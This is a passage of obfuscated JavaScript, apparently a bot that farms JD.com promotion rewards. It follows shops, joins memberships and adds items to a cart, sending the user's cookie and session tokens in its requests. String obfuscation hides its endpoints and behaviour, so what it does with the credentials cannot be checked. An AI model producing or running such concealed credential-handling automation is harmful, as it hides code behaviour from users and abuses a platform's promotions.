_0x5d200e[_0x4291('fa')](_0x4f242c,_0x143ce7);},'xoCBa':function(_0x28c9ab,_0xcb9f7b){return _0x5d200e[_0x4291('fb')](_0x28c9ab,_0xcb9f7b);},'TTzOb':function(_0x2cabd7,_0x283249){return _0x5d200e[_0x4291('fc')](_0x2cabd7,_0x283249);},'yJcJv':function(_0x39bb1b,_0x4beb4d,_0x13273e){return _0x5d200e[_0x4291('fd')](_0x39bb1b,_0x4beb4d,_0x13273e);},'xmQhm':function(_0x6b70dd,_0x20aa5d){return _0x5d200e[_0x4291('fe')](_0x6b70dd,_0x20aa5d);},'GAMoa':_0x5d200e[_0x4291('ff')],'Mkzue':_0x5d200e[_0x4291('100')],'BKNzH':function(_0xe6cca6,_0x3454fd){return _0x5d200e[_0x4291('101')](_0xe6cca6,_0x3454fd);},'NnoyH':_0x5d200e[_0x4291('102')],'ddXuq':_0x5d200e[_0x4291('103')]};if(_0x5d200e[_0x4291('104')](_0x5d200e[_0x4291('105')],_0x5d200e[_0x4291('105')])){let _0x47baaa=_0x4291('106')+$[_0x4291('40')]+_0x4291('107')+$[_0x4291('52')]+_0x4291('108')+_0x5d200e[_0x4291('109')](encodeURIComponent,$[_0x4291('74')])+_0x4291('10a');$[_0x4291('10b')](_0x5d200e[_0x4291('fd')](taskPostUrl,_0x5d200e[_0x4291('10c')],_0x47baaa),async(_0x1f0aa8,_0x1dee9d,_0x55d36b)=>{var _0x2c0380={'slUQE':function(_0x191c57,_0xab395d){return _0x35028e[_0x4291('10d')](_0x191c57,_0xab395d);},'npqVI':_0x35028e[_0x4291('10e')],'bWjev':function(_0x2edcc7){return _0x35028e[_0x4291('10f')](_0x2edcc7);}};if(_0x35028e[_0x4291('110')](_0x35028e[_0x4291('111')],_0x35028e[_0x4291('111')])){try{if(_0x35028e[_0x4291('112')](_0x35028e[_0x4291('113')],_0x35028e[_0x4291('114')])){if(_0x1f0aa8){if(_0x35028e[_0x4291('115')](_0x35028e[_0x4291('116')],_0x35028e[_0x4291('117')])){if(_0x1dee9d[_0x4291('118')]&&_0x2c0380[_0x4291('119')](_0x1dee9d[_0x4291('118')],0x1ed)){console[_0x4291('a')](_0x2c0380[_0x4291('11a')]);$[_0x4291('16')]=!![];}console[_0x4291('a')](''+$[_0x4291('58')](_0x1f0aa8));console[_0x4291('a')]($[_0x4291('2c')]+_0x4291('59'));}else{console[_0x4291('a')](''+$[_0x4291('58')](_0x1f0aa8));console[_0x4291('a')]($[_0x4291('2c')]+_0x4291('59'));}}else{if(_0x35028e[_0x4291('11b')](_0x35028e[_0x4291('11c')],_0x35028e[_0x4291('11d')])){res=$[_0x4291('d1')](_0x55d36b);if(_0x35028e[_0x4291('10d')](typeof res,_0x35028e[_0x4291('11e')])){if(_0x35028e[_0x4291('11f')](res[_0x4291('ab')],!![])&&res[_0x4291('30')]){console[_0x4291('a')](_0x4291('120'));let _0x5404dc=0x0;let _0x33ae07=0x0;for(let _0x102598 in res[_0x4291('30')]){let _0x10e5ff=res[_0x4291('30')][_0x102598];if(_0x35028e[_0x4291('121')](_0x10e5ff[_0x4291('a2')],_0x35028e[_0x4291('122')]))_0x5404dc++;if(_0x35028e[_0x4291('121')](_0x10e5ff[_0x4291('a2')],_0x35028e[_0x4291('122')]))_0x33ae07=_0x10e5ff[_0x4291('123')][_0x4291('57')]('京豆','');if(_0x35028e[_0x4291('124')](_0x10e5ff[_0x4291('a2')],_0x35028e[_0x4291('122')]))console[_0x4291('a')](''+(_0x35028e[_0x4291('125')](_0x10e5ff[_0x4291('126')],0xa)&&_0x35028e[_0x4291('127')](_0x10e5ff[_0x4291('a2')],':')||'')+_0x10e5ff[_0x4291('123')]);}if(_0x35028e[_0x4291('128')](_0x5404dc,0x0))console[_0x4291('a')](_0x4291('129')+_0x5404dc+'):'+(_0x35028e[_0x4291('12a')](_0x5404dc,_0x35028e[_0x4291('12b')](parseInt,_0x33ae07,0xa))||0x1e)+'京豆');}else if(_0x35028e[_0x4291('12c')](typeof res,_0x35028e[_0x4291('11e')])&&res[_0x4291('9a')]){if(_0x35028e[_0x4291('11b')](_0x35028e[_0x4291('12d')],_0x35028e[_0x4291('12e')])){console[_0x4291('a')](_0x4291('12f')+(res[_0x4291('9a')]||''));}else{console[_0x4291('a')](''+$[_0x4291('58')](_0x1f0aa8));console[_0x4291('a')]($[_0x4291('2c')]+_0x4291('59'));}}else{if(_0x35028e[_0x4291('130')](_0x35028e[_0x4291('131')],_0x35028e[_0x4291('132')])){console[_0x4291('a')](_0x55d36b);}else{console[_0x4291('a')](_0x35028e[_0x4291('10e')]);$[_0x4291('16')]=!![];}}}else{console[_0x4291('a')](_0x55d36b);}}else{res=$[_0x4291('d1')](_0x55d36b);if(_0x35028e[_0x4291('133')](typeof res,_0x35028e[_0x4291('11e')])&&res[_0x4291('ab')]&&_0x35028e[_0x4291('110')](res[_0x4291('ab')],!![])){if(_0x35028e[_0x4291('124')](typeof res[_0x4291('30')][_0x4291('31')],_0x35028e[_0x4291('134')]))$[_0x4291('31')]=res[_0x4291('30')][_0x4291('31')];if(_0x35028e[_0x4291('124')](typeof res[_0x4291('30')][_0x4291('33')],_0x35028e[_0x4291('134')]))$[_0x4291('33')]=res[_0x4291('30')][_0x4291('33')];}else if(_0x35028e[_0x4291('133')](typeof res,_0x35028e[_0x4291('11e')])&&res[_0x4291('9a')]){console[_0x4291('a')](_0x4291('135')+(res[_0x4291('9a')]||''));}else{console[_0x4291('a')](_0x55d36b);}}}}else{console[_0x4291('a')](_0x2c0380[_0x4291('11a')]);$[_0x4291('16')]=!![];}}catch(_0x5dc5ec){$[_0x4291('5b')](_0x5dc5ec,_0x1dee9d);}finally{_0x35028e[_0x4291('10f')](_0x479e89);}}else{_0x2c0380[_0x4291('136')](_0x479e89);}});}else{$[_0x4291('a')](_0x4291('137')+res[_0x4291('30')][_0x4291('45')]+'个');}});}function getShareRecord(){var _0x58930b={'lohdS':function(_0x316734,_0x592193){return _0x316734>_0x592193;},'RWOGu':_0x4291('138'),'oqRWz':function(_0x59ee93,_0x44305c){return _0x59ee93+_0x44305c;},'horqw':_0x4291('5e'),'qPelB':_0x4291('5f'),'KDAoA':_0x4291('66'),'EgZJW':function(_0x2b8b36,_0x15d27a){return _0x2b8b36==_0x15d27a;},'uaUpd':_0x4291('60'),'GPIRW':function(_0x13ef5e,_0x5c9426){return _0x13ef5e===_0x5c9426;},'RJExx':_0x4291('139'),'sQElQ':function(_0x10781e,_0x1e210b){return _0x10781e!==_0x1e210b;},'HOKaO':_0x4291('13a'),'WquPo':_0x4291('13b'),'Vrpxb':function(_0x18e6af,_0x513ea6){return _0x18e6af!==_0x513ea6;},'mxeAR':_0x4291('13c'),'MrHCC':_0x4291('13d'),'EvbrX':function(_0x1ef847){return _0x1ef847();},'QGAgP':_0x4291('13e'),'yqBrr':function(_0x246d78,_0x494e7a){return _0x246d78(_0x494e7a);},'yjSzP':function(_0x4fd049,_0xe7e3f7,_0x29181f){return _0x4fd049(_0xe7e3f7,_0x29181f);},'gaBqD':_0x4291('13f')};return new Promise(_0x416751=>{var _0x1f0a96={'tGGcK':function(_0x226cd0,_0x58efa3){return _0x58930b[_0x4291('140')](_0x226cd0,_0x58efa3);},'FLLVx':_0x58930b[_0x4291('141')],'rDyOc':function(_0x4fe6d6,_0x17b1b5){return _0x58930b[_0x4291('142')](_0x4fe6d6,_0x17b1b5);},'XWbzl':_0x58930b[_0x4291('143')],'aXhFW':_0x58930b[_0x4291('144')],'hCNwR':_0x58930b[_0x4291('145')],'HQkKb':function(_0x31de42,_0x5b5dc3){return _0x58930b[_0x4291('146')](_0x31de42,_0x5b5dc3);},'adebh':_0x58930b[_0x4291('147')],'ByGxm':function(_0x442b70,_0x294104){return _0x58930b[_0x4291('148')](_0x442b70,_0x294104);},'orouM':_0x58930b[_0x4291('149')],'FGoqv':function(_0x575fd8,_0x1c723d){return _0x58930b[_0x4291('14a')](_0x575fd8,_0x1c723d);},'oYqoG':_0x58930b[_0x4291('14b')],'QOtYM':function(_0x19f310,_0x2e5a48){return _0x58930b[_0x4291('14a')](_0x19f310,_0x2e5a48);},'ggdGg':_0x58930b[_0x4291('14c')],'xwNGo':function(_0x6a011f,_0x144967){return _0x58930b[_0x4291('14d')](_0x6a011f,_0x144967);},'hwzPv':_0x58930b[_0x4291('14e')],'gKkqK':_0x58930b[_0x4291('14f')],'FJffI':function(_0x379e79){return _0x58930b[_0x4291('150')](_0x379e79);}};if(_0x58930b[_0x4291('14d')](_0x58930b[_0x4291('151')],_0x58930b[_0x4291('151')])){$[_0x4291('5b')](e,resp);}else{let _0x1b40f0=_0x4291('106')+$[_0x4291('40')]+_0x4291('107')+$[_0x4291('52')]+_0x4291('108')+_0x58930b[_0x4291('152')](encodeURIComponent,$[_0x4291('74')])+_0x4291('10a');$[_0x4291('10b')](_0x58930b[_0x4291('153')](taskPostUrl,_0x58930b[_0x4291('154')],_0x1b40f0),async(_0x25b532,_0x28161a,_0x1adc5f)=>{var _0x3e69aa={'imhgp':function(_0x5ba977,_0x2d155d){return _0x1f0a96[_0x4291('155')](_0x5ba977,_0x2d155d);},'BTUID':_0x1f0a96[_0x4291('156')],'fcdOI':function(_0x1f10d7,_0x36fae0){return _0x1f0a96[_0x4291('157')](_0x1f10d7,_0x36fae0);},'fsYbb':function(_0x361c70,_0x27363f){return _0x1f0a96[_0x4291('155')](_0x361c70,_0x27363f);},'baasA':_0x1f0a96[_0x4291('158')],'bkznm':function(_0x1c86e4,_0xe8aad0){return _0x1f0a96[_0x4291('157')](_0x1c86e4,_0xe8aad0);},'FERlf':_0x1f0a96[_0x4291('159')],'JhZrW':_0x1f0a96[_0x4291('15a')]};try{if(_0x25b532){console[_0x4291('a')](''+$[_0x4291('58')](_0x25b532));console[_0x4291('a')]($[_0x4291('2c')]+_0x4291('59'));}else{res=$[_0x4291('d1')](_0x1adc5f);if(_0x1f0a96[_0x4291('15b')](typeof res,_0x1f0a96[_0x4291('15c')])){if(_0x1f0a96[_0x4291('15d')](res[_0x4291('ab')],!![])&&res[_0x4291('30')]){$[_0x4291('a')](_0x4291('137')+res[_0x4291('30')][_0x4291('45')]+'个');}else if(_0x1f0a96[_0x4291('15b')](typeof res,_0x1f0a96[_0x4291('15c')])&&res[_0x4291('9a')]){if(_0x1f0a96[_0x4291('15d')](_0x1f0a96[_0x4291('15e')],_0x1f0a96[_0x4291('15e')])){console[_0x4291('a')](''+(res[_0x4291('9a')]||''));}else{let _0x1c2b71=ck[_0x4291('7c')](';')[0x0][_0x4291('15f')]();if(_0x1c2b71[_0x4291('7c')]('=')[0x1]){if(_0x3e69aa[_0x4291('160')](_0x1c2b71[_0x4291('89')](_0x3e69aa[_0x4291('161')]),-0x1))lz_jdpin_token=_0x3e69aa[_0x4291('162')](_0x1c2b71[_0x4291('57')](/ /g,''),';');if(_0x3e69aa[_0x4291('163')](_0x1c2b71[_0x4291('89')](_0x3e69aa[_0x4291('164')]),-0x1))LZ_TOKEN_KEY=_0x3e69aa[_0x4291('165')](_0x1c2b71[_0x4291('57')](/ /g,''),';');if(_0x3e69aa[_0x4291('163')](_0x1c2b71[_0x4291('89')](_0x3e69aa[_0x4291('166')]),-0x1))LZ_TOKEN_VALUE=_0x3e69aa[_0x4291('165')](_0x1c2b71[_0x4291('57')](/ /g,''),';');}}}else{if(_0x1f0a96[_0x4291('167')](_0x1f0a96[_0x4291('168')],_0x1f0a96[_0x4291('168')])){console[_0x4291('a')](_0x1adc5f);}else{console[_0x4291('a')](_0x1adc5f);}}}else{if(_0x1f0a96[_0x4291('169')](_0x1f0a96[_0x4291('16a')],_0x1f0a96[_0x4291('16a')])){$[_0x4291('a')](_0x3e69aa[_0x4291('16b')]);return;}else{console[_0x4291('a')](_0x1adc5f);}}}}catch(_0x364a55){if(_0x1f0a96[_0x4291('16c')](_0x1f0a96[_0x4291('16d')],_0x1f0a96[_0x4291('16e')])){$[_0x4291('5b')](_0x364a55,_0x28161a);}else{$[_0x4291('16f')]=_0x1adc5f[_0x4291('ab')][_0x4291('170')]&&_0x1adc5f[_0x4291('ab')][_0x4291('170')][0x0]&&_0x1adc5f[_0x4291('ab')][_0x4291('170')][0x0][_0x4291('171')]&&_0x1adc5f[_0x4291('ab')][_0x4291('170')][0x0][_0x4291('171')][_0x4291('40')]||'';}}finally{_0x1f0a96[_0x4291('172')](_0x416751);}});}});}function addSku(){var _0x3ea31a={'WIaCl':_0x4291('71'),'GSBmM':function(_0x2b8138,_0x41d008){return _0x2b8138!=_0x41d008;},'pyNDl':_0x4291('17'),'RJCcV':function(_0x4bbb4f,_0x2230c5){return _0x4bbb4f===_0x2230c5;},'JzCcs':_0x4291('173'),'qqkoC':_0x4291('174'),'JmnQZ':_0x4291('175'),'CiJPW':_0x4291('176'),'ZHTkE':function(_0x4c2475,_0x219a92){return _0x4c2475==_0x219a92;},'UYkng':_0x4291('18'),'lcNiL':function(_0x498958,_0x579d41){return _0x498958==_0x579d41;},'YlxOX':_0x4291('60'),'Tsifd':function(_0x231e0a,_0x1c965e){return _0x231e0a||_0x1c965e;},'kVlXN':_0x4291('177'),'VYrCX':_0x4291('178'),'TFeAl':function(_0x35f908,_0x295bb9){return _0x35f908!==_0x295bb9;},'xJdXq':_0x4291('179'),'ZEhtZ':_0x4291('17a'),'eyvlH':function(_0x4a9469){return _0x4a9469();},'ByvDH':function(_0x24e132,_0x1df1c8){return _0x24e132(_0x1df1c8);},'OoWvs':function(_0x321b37,_0x1764a9,_0x1a9292){return _0x321b37(_0x1764a9,_0x1a9292);},'ijPjn':_0x4291('17b')};return new Promise(_0xe03a01=>{var _0x12717a={'GQflT':_0x3ea31a[_0x4291('17c')],'CdoGC':function(_0x4dcedc,_0x46ce86){return _0x3ea31a[_0x4291('17d')](_0x4dcedc,_0x46ce86);},'MTBcY':_0x3ea31a[_0x4291('17e')],'aZXOg':function(_0x3f3ea1,_0x29e6e5){return _0x3ea31a[_0x4291('17f')](_0x3f3ea1,_0x29e6e5);},'mHxng':_0x3ea31a[_0x4291('180')],'ivNMX':_0x3ea31a[_0x4291('181')],'OlZtB':function(_0x12bffd,_0x36e07c){return _0x3ea31a[_0x4291('17f')](_0x12bffd,_0x36e07c);},'ejbbK':_0x3ea31a[_0x4291('182')],'VYtVI':_0x3ea31a[_0x4291('183')],'iimNi':function(_0x173e58,_0x112d72){return _0x3ea31a[_0x4291('184')](_0x173e58,_0x112d72);},'EoGPu':_0x3ea31a[_0x4291('185')],'qpVLe':function(_0x4ac240,_0x2060cb){return _0x3ea31a[_0x4291('186')](_0x4ac240,_0x2060cb);},'tOANP':_0x3ea31a[_0x4291('187')],'qLsNh':function(_0x13d8bf,_0x1ce90f){return _0x3ea31a[_0x4291('188')](_0x13d8bf,_0x1ce90f);},'MRlGI':_0x3ea31a[_0x4291('189')],'aVqfi':_0x3ea31a[_0x4291('18a')],'Zyowv':function(_0x442705,_0x4e02f0){return _0x3ea31a[_0x4291('18b')](_0x442705,_0x4e02f0);},'ZRbqy':_0x3ea31a[_0x4291('18c')],'fxgmg':_0x3ea31a[_0x4291('18d')],'cIbKz':function(_0x35d53b){return _0x3ea31a[_0x4291('18e')](_0x35d53b);}};let _0x315bd5=_0x4291('106')+$[_0x4291('40')]+_0x4291('108')+_0x3ea31a[_0x4291('18f')](encodeURIComponent,$[_0x4291('74')])+_0x4291('107')+$[_0x4291('52')]+_0x4291('190');$[_0x4291('10b')](_0x3ea31a[_0x4291('191')](taskPostUrl,_0x3ea31a[_0x4291('192')],_0x315bd5),async(_0x24d5ed,_0x361324,_0x33c1ba)=>{var _0x29bf96={'WQfZB':function(_0x162bc0,_0x46e076){return _0x12717a[_0x4291('193')](_0x162bc0,_0x46e076);},'PxvCr':_0x12717a[_0x4291('194')]};try{if(_0x12717a[_0x4291('195')](_0x12717a[_0x4291('196')],_0x12717a[_0x4291('197')])){if($[_0x4291('52')]){$[_0x4291('3e')]=$[_0x4291('52')];console[_0x4291('a')](_0x4291('c8')+$[_0x4291('3e')]);}else{console[_0x4291('a')](_0x12717a[_0x4291('198')]);return;}}else{if(_0x24d5ed){if(_0x12717a[_0x4291('199')](_0x12717a[_0x4291('19a')],_0x12717a[_0x4291('19b')])){console[_0x4291('a')](_0x33c1ba);}else{if(_0x361324[_0x4291('118')]&&_0x12717a[_0x4291('19c')](_0x361324[_0x4291('118')],0x1ed)){console[_0x4291('a')](_0x12717a[_0x4291('19d')]);$[_0x4291('16')]=!![];}console[_0x4291('a')](''+$[_0x4291('58')](_0x24d5ed));console[_0x4291('a')]($[_0x4291('2c')]+_0x4291('59'));}}else{res=$[_0x4291('d1')](_0x33c1ba);if(_0x12717a[_0x4291('19e')](typeof res,_0x12717a[_0x4291('19f')])){if(_0x12717a[_0x4291('199')](res[_0x4291('ab')],!![])&&res[_0x4291('30')]){let _0x54c693='';if(res[_0x4291('30')][_0x4291('1a0')]){_0x54c693=res[_0x4291('30')][_0x4291('1a0')]+'京豆';}console[_0x4291('a')](_0x4291('1a1')+_0x12717a[_0x4291('1a2')](_0x54c693,_0x12717a[_0x4291('1a3')]));}else if(_0x12717a[_0x4291('19e')](typeof res,_0x12717a[_0x4291('19f')])&&res[_0x4291('9a')]){console[_0x4291('a')](_0x4291('1a4')+(res[_0x4291('9a')]||''));}else{if(_0x12717a[_0x4291('199')](_0x12717a[_0x4291('1a5')],_0x12717a[_0x4291('1a5')])){console[_0x4291('a')](_0x33c1ba);}else{console[_0x4291('a')](_0x4291('d6')+(res[_0x4291('d5')]||''));}}}else{console[_0x4291('a')](_0x33c1ba);}}}}catch(_0x4fb76c){$[_0x4291('5b')](_0x4fb76c,_0x361324);}finally{if(_0x12717a[_0x4291('1a6')](_0x12717a[_0x4291('1a7')],_0x12717a[_0x4291('1a8')])){_0x12717a[_0x4291('1a9')](_0xe03a01);}else{if(_0x29bf96[_0x4291('1aa')](typeof res[_0x4291('d4')],_0x29bf96[_0x4291('1ab')]))$[_0x4291('73')]=res[_0x4291('d4')];}}});});}function followShop(){var _0x25690c={'GrvuR':function(_0x290490){return _0x290490();},'lKTIg':_0x4291('18'),'HkvZX':function(_0x17925b,_0x625fa1){return _0x17925b===_0x625fa1;},'KWdbu':_0x4291('1ac'),'dKZpM':_0x4291('1ad'),'rywtE':function(_0x3ec8f4,_0xd22a3e){return _0x3ec8f4!==_0xd22a3e;},'UeHpU':_0x4291('1ae'),'rshwS':function(_0x1f6616,_0x5b59e3){return _0x1f6616==_0x5b59e3;},'MXmkZ':_0x4291('60'),'AWsFE':function(_0x553d1d,_0x28a188){return _0x553d1d===_0x28a188;},'WsDlF':_0x4291('1af'),'mOEYz':_0x4291('1b0'),'UPMeF':function(_0x803d99,_0x547cb1){return _0x803d99||_0x547cb1;},'LVorG':_0x4291('177'),'hlivX':_0x4291('1b1'),'hZLbC':_0x4291('1b2'),'ZuoiV':function(_0x2a31b3,_0xa0f9){return _0x2a31b3(_0xa0f9);},'ndwcD':function(_0x4a7440,_0x5f21a4,_0xc0d818){return _0x4a7440(_0x5f21a4,_0xc0d818);},'pgjcP':_0x4291('1b3')};return new Promise(_0x181413=>{var _0xfe0a3b={'JQuMf':function(_0x172a0f){return _0x25690c[_0x4291('1b4')](_0x172a0f);},'wKrAu':_0x25690c[_0x4291('1b5')],'eswCl':function(_0x414a9c,_0x40ca3d){return _0x25690c[_0x4291('1b6')](_0x414a9c,_0x40ca3d);},'QDSOb':_0x25690c[_0x4291('1b7')],'gysiW':_0x25690c[_0x4291('1b8')],'EIMDT':function(_0xd5a3ef,_0x41915d){return _0x25690c[_0x4291('1b9')](_0xd5a3ef,_0x41915d);},'ZwXQJ':_0x25690c[_0x4291('1ba')],'KuslX':function(_0x10b022,_0xc1b65b){return _0x25690c[_0x4291('1bb')](_0x10b022,_0xc1b65b);},'WQntC':_0x25690c[_0x4291('1bc')],'UjaRx':function(_0x481b10,_0x2393be){return _0x25690c[_0x4291('1bd')](_0x481b10,_0x2393be);},'MEtwx':_0x25690c[_0x4291('1be')],'BcBKs':_0x25690c[_0x4291('1bf')],'GquTv':function(_0x2fc9e7,_0xd1ca15){return _0x25690c[_0x4291('1c0')](_0x2fc9e7,_0xd1ca15);},'RFizs':_0x25690c[_0x4291('1c1')],'QsZCu':function(_0x21e186){return _0x25690c[_0x4291('1b4')](_0x21e186);}};if(_0x25690c[_0x4291('1bd')](_0x25690c[_0x4291('1c2')],_0x25690c[_0x4291('1c3')])){console[_0x4291('a')](''+$[_0x4291('58')](err));console[_0x4291('a')]($[_0x4291('2c')]+_0x4291('59'));}else{let _0xb45ee1=_0x4291('106')+$[_0x4291('40')]+_0x4291('108')+_0x25690c[_0x4291('1c4')](encodeURIComponent,$[_0x4291('74')])+_0x4291('107')+$[_0x4291('52')]+_0x4291('43')+$[_0x4291('3e')]+_0x4291('1c5');$[_0x4291('10b')](_0x25690c[_0x4291('1c6')](taskPostUrl,_0x25690c[_0x4291('1c7')],_0xb45ee1),async(_0x1f43c7,_0x83bd5c,_0x21825e)=>{if(_0xfe0a3b[_0x4291('1c8')](_0xfe0a3b[_0x4291('1c9')],_0xfe0a3b[_0x4291('1ca')])){_0xfe0a3b[_0x4291('1cb')](_0x181413);}else{try{if(_0x1f43c7){if(_0xfe0a3b[_0x4291('1cc')](_0xfe0a3b[_0x4291('1cd')],_0xfe0a3b[_0x4291('1cd')])){console[_0x4291('a')](_0xfe0a3b[_0x4291('1ce')]);$[_0x4291('16')]=!![];}else{if(_0x83bd5c[_0x4291('118')]&&_0xfe0a3b[_0x4291('1cf')](_0x83bd5c[_0x4291('118')],0x1ed)){console[_0x4291('a')](_0xfe0a3b[_0x4291('1ce')]);$[_0x4291('16')]=!![];}console[_0x4291('a')](''+$[_0x4291('58')](_0x1f43c7));console[_0x4291('a')]($[_0x4291('2c')]+_0x4291('59'));}}else{res=$[_0x4291('d1')](_0x21825e);if(_0xfe0a3b[_0x4291('1cf')](typeof res,_0xfe0a3b[_0x4291('1d0')])){if(_0xfe0a3b[_0x4291('1d1')](res[_0x4291('ab')],!![])&&res[_0x4291('30')]){let _0x2d3503='';if(res[_0x4291('30')][_0x4291('1a0')]){if(_0xfe0a3b[_0x4291('1cc')](_0xfe0a3b[_0x4291('1d2')],_0xfe0a3b[_0x4291('1d3')])){_0x2d3503=res[_0x4291('30')][_0x4291('1a0')]+'京豆';}else{$[_0x4291('5b')](e,_0x83bd5c);}}if(res[_0x4291('30')][_0x4291('1d4')]&&res[_0x4291('30')][_0x4291('1d5')]){_0x2d3503+=_0x4291('1d6')+res[_0x4291('30')][_0x4291('1d4')]+'京豆';}console[_0x4291('a')](_0x4291('1d7')+_0xfe0a3b[_0x4291('1d8')](_0x2d3503,_0xfe0a3b[_0x4291('1d9')]));}else if(_0xfe0a3b[_0x4291('1cf')](typeof res,_0xfe0a3b[_0x4291('1d0')])&&res[_0x4291('9a')]){console[_0x4291('a')](_0x4291('99')+(res[_0x4291('9a')]||''));}else{console[_0x4291('a')](_0x21825e);}}else{console[_0x4291('a')](_0x21825e);}}}catch(_0x569111){$[_0x4291('5b')](_0x569111,_0x83bd5c);}finally{_0xfe0a3b[_0x4291('1da')](_0x181413);}}});}});}function getshopactivityId(_0x2959a2){var _0x2d31a8={'EbTkU':function(_0x437fb0,_0x55ebf9){return _0x437fb0!==_0x55ebf9;},'rCfnk':_0x4291('1db'),'TsgOx':_0x4291('1dc'),'HRrFu':function(_0x379861,_0x55b0d5){return _0x379861!==_0x55b0d5;},'WEocK':_0x4291('1dd'),'vSlHQ':function(_0x5e95a4,_0x3fd3f4){return _0x5e95a4==_0x3fd3f4;},'AYoqv':_0x4291('1de'),'mGNBm':function(_0x421267,_0x29a987){return _0x421267===_0x29a987;},'Hebho':_0x4291('1df'),'BEbbp':function(_0x55a3d2){return _0x55a3d2();},'FZjGy':_0x4291('18'),'BNfAt':function(_0x406ce7,_0x56d298){return _0x406ce7==_0x56d298;},'CEboT':_0x4291('1e0'),'dawXW':_0x4291('1e1'),'lHXjB':function(_0x530766,_0x181ba6){return _0x530766===_0x181ba6;},'mgZLG':_0x4291('1e2'),'SVHqs':function(_0x16270f,_0x5d566e){return _0x16270f(_0x5d566e);}};return new Promise(_0x51f924=>{var _0x3f474c={'VsLfy':function(_0x4e099e,_0x55f6ba){return _0x2d31a8[_0x4291('1e3')](_0x4e099e,_0x55f6ba);},'mvpKU':_0x2d31a8[_0x4291('1e4')],'ufxWV':function(_0x25b9a2,_0x4639b9){return _0x2d31a8[_0x4291('1e3')](_0x25b9a2,_0x4639b9);},'rsHaE':function(_0x56155d,_0x2615e7){return _0x2d31a8[_0x4291('1e5')](_0x56155d,_0x2615e7);},'nUNGG':_0x2d31a8[_0x4291('1e6')],'DofXR':_0x2d31a8[_0x4291('1e7')]};if(_0x2d31a8[_0x4291('1e8')](_0x2d31a8[_0x4291('1e9')],_0x2d31a8[_0x4291('1e9')])){$[_0x4291('1ea')](_0x2d31a8[_0x4291('1eb')](shopactivityId,''+_0x2959a2),async(_0x1c4489,_0x49ae2a,_0x25c68f)=>{if(_0x2d31a8[_0x4291('1ec')](_0x2d31a8[_0x4291('1ed')],_0x2d31a8[_0x4291('1ee')])){try{if(_0x2d31a8[_0x4291('1ef')](_0x2d31a8[_0x4291('1f0')],_0x2d31a8[_0x4291('1f0')])){$[_0x4291('5b')](e,_0x49ae2a);}else{_0x25c68f=JSON[_0x4291('1f1')](_0x25c68f);if(_0x2d31a8[_0x4291('1e3')](_0x25c68f[_0x4291('1f2')],!![])){if(_0x2d31a8[_0x4291('1ef')](_0x2d31a8[_0x4291('1f3')],_0x2d31a8[_0x4291('1f3')])){if(_0x49ae2a[_0x4291('118')]&&_0x3f474c[_0x4291('1f4')](_0x49ae2a[_0x4291('118')],0x1ed)){console[_0x4291('a')](_0x3f474c[_0x4291('1f5')]);$[_0x4291('16')]=!![];}console[_0x4291('a')](''+$[_0x4291('58')](_0x1c4489));console[_0x4291('a')]($[_0x4291('2c')]+_0x4291('59'));}else{$[_0x4291('16f')]=_0x25c68f[_0x4291('ab')][_0x4291('170')]&&_0x25c68f[_0x4291('ab')][_0x4291('170')][0x0]&&_0x25c68f[_0x4291('ab')][_0x4291('170')][0x0][_0x4291('171')]&&_0x25c68f[_0x4291('ab')][_0x4291('170')][0x0][_0x4291('171')][_0x4291('40')]||'';}}}}catch(_0x2cc50f){$[_0x4291('5b')](_0x2cc50f,_0x49ae2a);}finally{if(_0x2d31a8[_0x4291('1f6')](_0x2d31a8[_0x4291('1f7')],_0x2d31a8[_0x4291('1f7')])){_0x2d31a8[_0x4291('1f8')](_0x51f924);}else{console[_0x4291('a')](_0x4291('1f9')+(res[_0x4291('9a')]||''));}}}else{if(_0x49ae2a[_0x4291('118')]&&_0x3f474c[_0x4291('1fa')](_0x49ae2a[_0x4291('118')],0x1ed)){console[_0x4291('a')](_0x3f474c[_0x4291('1f5')]);$[_0x4291('16')]=!![];}console[_0x4291('a')](''+JSON[_0x4291('1fb')](_0x1c4489));console[_0x4291('a')]($[_0x4291('2c')]+_0x4291('1fc'));}});}else{if(_0x3f474c[_0x4291('1fd')](typeof str,_0x3f474c[_0x4291('1fe')])){try{return JSON[_0x4291('1f1')](str);}catch(_0x435356){console[_0x4291('a')](_0x435356);$[_0x4291('2b')]($[_0x4291('2c')],'',_0x3f474c[_0x4291('1ff')]);return[];}}}});}function shopactivityId(_0x38b79e){var _0x200d79={'RwtFu':_0x4291('200'),'YPNfZ':_0x4291('201'),'LzNJn':_0x4291('202'),'BCyGx':_0x4291('203'),'qcxpS':_0x4291('204')};return{'url':_0x4291('205')+_0x38b79e+_0x4291('206'),'headers':{'Content-Type':_0x200d79[_0x4291('207')],'Origin':_0x200d79[_0x4291('208')],'Host':_0x200d79[_0x4291('209')],'accept':_0x200d79[_0x4291('20a')],'User-Agent':$['UA'],'content-type':_0x200d79[_0x4291('20b')],'Referer':_0x4291('20c')+_0x38b79e+_0x4291('20d')+_0x38b79e+_0x4291('20e')+$[_0x4291('40')]+_0x4291('43')+$[_0x4291('3e')],'Cookie':cookie}};}function join(_0x2b059e){var _0x2507b9={'NLfIF':function(_0x127382){return _0x127382();},'PoZGh':function(_0x225cf2,_0x39ab1f){return _0x225cf2==_0x39ab1f;},'eMzCK':_0x4291('60'),'gGCZM':function(_0x195007,_0x335b36){return _0x195007===_0x335b36;},'PpXxj':function(_0x5caba0,_0x6f8c02){return _0x5caba0===_0x6f8c02;},'jnehF':_0x4291('20f'),'dQwvg':_0x4291('210'),'VBdCx':function(_0x3533c9,_0x49ce01){return _0x3533c9!==_0x49ce01;},'nIcIs':_0x4291('211'),'uiAWN':_0x4291('212'),'welvb':function(_0x14803b,_0x569a1e){return _0x14803b==_0x569a1e;},'zRlnM':_0x4291('213'),'SiaAw':_0x4291('214'),'eEMVN':function(_0x2f0a04){return _0x2f0a04();},'zBnBa':function(_0x19280f,_0x45540f){return _0x19280f(_0x45540f);},'hsJgN':function(_0x4b62a7,_0x134111){return _0x4b62a7(_0x134111);}};return new Promise(async _0x4e73ab=>{var _0x262ce4={'hqRWz':function(_0x283a3f){return _0x2507b9[_0x4291('215')](_0x283a3f);},'embLG':function(_0x4ac2cb,_0x730ac0){return _0x2507b9[_0x4291('216')](_0x4ac2cb,_0x730ac0);},'Sanir':_0x2507b9[_0x4291('217')],'ZnFLv':function(_0x301fac,_0x42bc93){return _0x2507b9[_0x4291('218')](_0x301fac,_0x42bc93);},'INTbT':function(_0x6e24d6,_0xca5d32){return _0x2507b9[_0x4291('219')](_0x6e24d6,_0xca5d32);},'dZltA':_0x2507b9[_0x4291('21a')],'kyAKW':_0x2507b9[_0x4291('21b')],'DRWMi':function(_0x1a843c,_0x180126){return 